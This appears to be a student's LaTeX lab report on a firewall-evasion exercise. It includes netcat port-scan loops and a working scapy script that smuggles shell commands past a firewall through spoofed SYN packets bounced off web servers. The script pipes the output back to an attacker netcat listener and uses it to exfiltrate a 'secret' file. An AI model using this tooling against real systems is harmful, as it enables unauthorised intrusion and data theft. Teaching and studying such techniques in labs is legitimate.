report/content/exercise3.tex

   1 \section{Exercise 3}
   2 \subsection{Rep:3.a}
   3
   4 First thing we did was just scanning the host.
   5
   6 We did not get very far, as the remote host is not directly accessible.
   7 (At least it looked like that at first, as we did not read the exercise sheet properly.)
   8
   9 The commands we used for bruteforcing were as follows:
  10
  11 \begin{verbatim}
  12 $ ping -c1 192.168.67.15
  13 $ for i in `seq 1 1000`; do echo "test" | nc -w1 192.168.67.115 $i & ; done
  14 $ for i in `seq 1 1000`; do echo "test" | nc -u -w1 192.168.67.115 $i & ; done
  15 \end{verbatim}
  16
  17 We did not see any output on the remote machine, as we somehow managed to break the remote screen functionality, so we were mostly working into the dark.
  18
  19 As we did not see any results of our tests we continued to read the exercise sheet.
  20 This did reveal that there is a firewall in place.
  21
  22 As we did not see any output on the remote machine it is quite possible that the firewall is a network level firewall - after all we did not see any packets, neither ICMP traffic nor TCP or UDP traffic.
  23 Therefore the firewall could be located on the remote machine as well as on an intermediate bridging firewall. (For our definition it could not be on an intermediate router, as the machine was located in the same network as we were.)
  24
  25 When trying to send the first spoofed packet we did immediately succeed, as we saw some output on the remote screen.
  26 (We did see the console, only the wireshark-window was buggy for us.)
  27 Finding the rest of the covert channel was quite easy, as the exercise sheet revealed to us that we had to bounce our connection over the remote webservers.
  28 When trying to send a SYN packet we found an example, which also defined the sequence number so we did try that as first attempt and succeeded.
  29 (We quickly saw that the resulting character was similar to the sequence number we sent - we just had to subtract one, as the webservers incremented the sequence number)
  30
  31 Once we were able to send characters to the remote shell we quickly saw, that we got autoblocked by some script.
  32 The easiest method was to just to continue sending characters to the remote machine by using the next server.
  33
  34 As we were told that alternating between the hosts was the idea of the exercise we did optimize our method a little bit by splitting our command in 4 byte blocks and rotate automatically over the HTTP servers.
  35
  36 \subsection{Rep:3.b}
  37 IP source was always our target, {\tt 192.168.67.115}, source port was {\tt 1337}.
  38 (As the SYN-ACK would bounce to the target host on the same port.)
  39 IP destination was one of the HTTP servers, {\tt 192.168.67.200}, {\tt 192.168.67.210} and {\tt 192.168.67.220}, destination port was {\tt 80}.
  40 We did not modify the TTL or the IP ID, so those should be the default values.
  41 The sequence value was the character we were trying to send minus one.
  42 We never saw the acknowledged sequence value, as this was directed towards the target host.
  43
  44 The code responsible for sending a character was as follows:
  45
  46 \begin{redframe}\begin{scriptsize}\begin{verbatim}
  47 ip=IP(src=src,dst=dst)
  48 SYN=TCP(sport=sport,dport=dport,flags='S',seq=ord(char)-1)
  49 send(ip/SYN)
  50 \end{verbatim}\end{scriptsize}\end{redframe}
  51
  52 \subsection{Rep:3.c}
  53
  54 We created a connect-back socket by opening a local port via netcat:
  55
  56 \begin{verbatim}
  57 $ nc -l 26555
  58 \end{verbatim}
  59
  60 Using this socket we did extract all of the information we found on the remote system.
  61
  62 \begin{redframe}\begin{scriptsize}\begin{verbatim}
  63 #!/usr/bin/env python
  64
  65 # disable IPv6 error message
  66 import logging
  67 logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  68 from scapy.all import *
  69 logging.getLogger("scapy.runtime").setLevel(logging.WARN)
  70
  71 #send(IP(dst='127.0.0.1')/TCP(sport=1337))
  72
  73 # our pingback target
  74 src = '192.168.67.115'
  75 # our intermediate syn-servers
  76 dst = ['192.168.67.200', '192.168.67.210', '192.168.67.220']
  77 sport = 1337
  78 dport = 80
  79 # self
  80 self = '192.168.67.26'
  81 # our local connectback port
  82 port = '26555'
  83
  84 def sendchar(dst, char):
  85     if char is not None:
  86         ip=IP(src=src,dst=dst)
  87         SYN=TCP(sport=sport,dport=dport,flags='S',seq=ord(char)-1)
  88         send(ip/SYN)
  89
  90 def run(cmd):
  91     cmd += "|nc "+self+" "+port+"\r"
  92     chunksize = 4
  93     chunklist = [ cmd[i:i+chunksize] for i in range(0, len(cmd), chunksize) ]
  94     for chunkid, chunk in enumerate(chunklist):
  95         curdst = chunkid % len(dst)
  96         for char in chunk:
  97             sendchar(dst[curdst], char)
  98
  99 #run("ip addr")
 100 """
 101  1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
 102     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
 103     inet 127.0.0.1/8 scope host lo
 104        valid_lft forever preferred_lft forever
 105     inet6 ::1/128 scope host
 106        valid_lft forever preferred_lft forever
 107 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
 108     link/ether 08:00:27:27:2b:f0 brd ff:ff:ff:ff:ff:ff
 109     inet 192.168.67.115/24 brd 192.168.67.255 scope global eth0
 110        valid_lft forever preferred_lft forever
 111     inet6 fe80::a00:27ff:fe27:2bf0/64 scope link
 112        valid_lft forever preferred_lft forever
 113 """
 114
 115 #run("pwd")
 116 """
 117 /home/nsa
 118 """
 119
 120 #run("ls")
 121 """
 122 New Text Documnet.txt.zip
 123 secret
 124 """
 125
 126 #run("cat secret") # copy file with 'nc -l 26555 > secret'
 127 #run("cat *.zip") # copy file with 'nc -l 26555 > New\ Text\ Documnet.txt.zip'
 128 \end{verbatim}\end{scriptsize}\end{redframe}